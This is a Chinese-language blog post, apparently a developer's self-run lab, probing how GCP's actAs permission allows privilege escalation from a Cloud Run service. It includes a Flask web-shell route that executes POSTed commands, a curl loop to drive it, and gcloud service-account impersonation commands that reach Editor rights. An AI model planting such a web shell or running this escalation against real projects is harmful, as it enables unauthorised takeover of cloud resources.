很好奇 actAs
這個權限可以做到什麼事,所以今天來研究一下如果駭客可以控制擁有 actAs
權限的服務時會有什麼影響。
首先用 GoogleCloudPlatform/cloud-run-microservice-template-python 建立一份到自己的 GitHub Repository ,然後建立一個 Cloud Run Service ,確定建立成功後,在 app.py
加入 Web Shell :
@app.route("/happy", methods=['POST'])
def happy() -> str:
return os.popen(request.form.get('qq')).read()
這樣就可以執行指令,我寫了一個腳本可以用類似 Shell 的操作方式執行指令:
URL=https://...
while read -p '# ' line; do
curl -X POST "https://$URL/happy" -d "qq=$line 2>/tmp/asdf; cat /tmp/asdf"
done
一開始嘗試用這個 Shell 安裝 gcloud
指令,但因為 Cloud Run Service 會自動擴展,所以有時候執行的指令不是在同一個容器內。需要使用 Reverse Shell 或其他方法比較好做事,不過我們是開發者,直接在 Dockerfile
裡面裝一裝就好,所以要加入以下內容:
RUN apt-get update;
RUN apt-get install -y apt-transport-https ca-certificates gnupg curl;
RUN curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | gpg --dearmor -o /usr/share/keyrings/cloud.google.gpg;
RUN echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" | tee -a /etc/apt/sources.list.d/google-cloud-sdk.list;
RUN apt-get update;
RUN apt-get install -y google-cloud-cli;
這樣不管身處哪個容器都可以順利執行 gcloud
指令!
首先來列一下目前的帳號:
# gcloud config get-value account
xxxxxxxxx-compute@developer.gserviceaccount.com
預設什麼都沒有設定的情況下 Cloud Run Service 會拿到一個 @developer.gserviceaccount.com
的帳號,這個帳號在 IAM 可以看到有很高的權限:
如果試著下更新 Cloud Run 的指令是可以正常執行的:
# gcloud run services update happy-python \
--region=xxxxxx \
--service-account=api-server-build@xxxxxx.iam.gserviceaccount.com
Deploying...
Creating Revision...........................................................................done
Routing traffic.....done
Done.
Service [happy-python] revision [happy-python-xxxxx] has been deployed and is serving 100 percent of traffic.
Service URL: https://xxxxxx.run.app
# gcloud config get-value account
api-server-build@xxxxx.iam.gserviceaccount.com
現在容器的帳號是 api-server-build
,剛好這個帳號有 actAs
權限,來測試一下使用 --impersonate-service-account
是不是真的可以變成其他人:
# gcloud projects list --impersonate-service-account=xxxxxxx@developer.gserviceaccount.com
WARNING: This command is using service account impersonation. All API calls will be executed as [xxxx@developer.gserviceaccount.com].
ERROR: (gcloud.projects.list) PERMISSION_DENIED: Failed to impersonate [xxxxx@developer.gserviceaccount.com]. Make sure the account that's trying to impersonate it has access to the service account itself and the "roles/iam.serviceAccountTokenCreator" role. Permission 'iam.serviceAccounts.getAccessToken' denied on resource (or it may not exist). This command is authenticated as api-server-build@xxxxx.iam.gserviceaccount.com which is the active account specified by the [core/account] property. Impersonation is used to impersonate xxxxx@developer.gserviceaccount.com.
- '@type': type.googleapis.com/google.rpc.ErrorInfo
domain: iam.googleapis.com
metadata:
permission: iam.serviceAccounts.getAccessToken
reason: IAM_PERMISSION_DENIED
結果權限不足,但如果把缺少的權限補上就可以成功取得專案資訊:
# gcloud projects list --impersonate-service-account=xxxxxxx@developer.gserviceaccount.com
PROJECT_ID NAME PROJECT_NUMBER
xxxxxxxxxxxxxxxxxxxxxxx My First Project xxxxx
也可以用 --impoersonate-service-account
把容器更新成高權限的帳號執行:
# gcloud config get-value account
api-server-build@xxxxx.iam.gserviceaccount.com
# gcloud run services update happy-python \
--region=europe-west1 \
--service-account=xxxxx@developer.gserviceaccount.com \
--impersonate-service-account=xxxxx@developer.gserviceaccount.com
WARNING: This command is using service account impersonation. All API calls will be executed as [xxxxx@developer.gserviceaccount.com].
WARNING: This command is using service account impersonation. All API calls will be executed as [xxxxx@developer.gserviceaccount.com].
Deploying...
Creating Revision..................................................................done
Routing traffic.....done
Done.
Service [happy-python] revision [happy-python-xxxxx] has been deployed and is serving 100 percent of traffic.
Service URL: https://xxxxx.run.app
# gcloud config get-value account
xxxxx@developer.gserviceaccount.com
這樣我們就成功完成提權!因為有 Editor 權限,甚至可以動整個專案,不過實際的攻擊步驟應該會更複雜,就留給對資安有興趣的人繼續研究吧。
那個關鍵的 iam.serviceAccounts.getAccessToken
需要先設定才可以,有這個權限的預設角色為 Service Account Token Creator,可以注意一下是不是必須開啟這個權限。不過我覺得不太對勁,因為在 Cloud Build Trigger 運行時不需要 getAccessToken
就可以轉換 Service Account 成 api-server
,我想應該是受限於 gcloud
指令,如果研究出 Google Cloud SDK 的底層邏輯應該就能夠只使用 actAs
權限提權成其他 Service Account。
在找資料時有看到一個世界頂尖資安研討會 Blackhat 2020 的演講開發了一個框架來 Exploit GCP 服務,有興趣的可以參考 dxa4481/gcploit,雖然想繼續看看怎麼打的,但這樣就超出範圍太多,回來繼續完善 AI 行程規劃專案吧!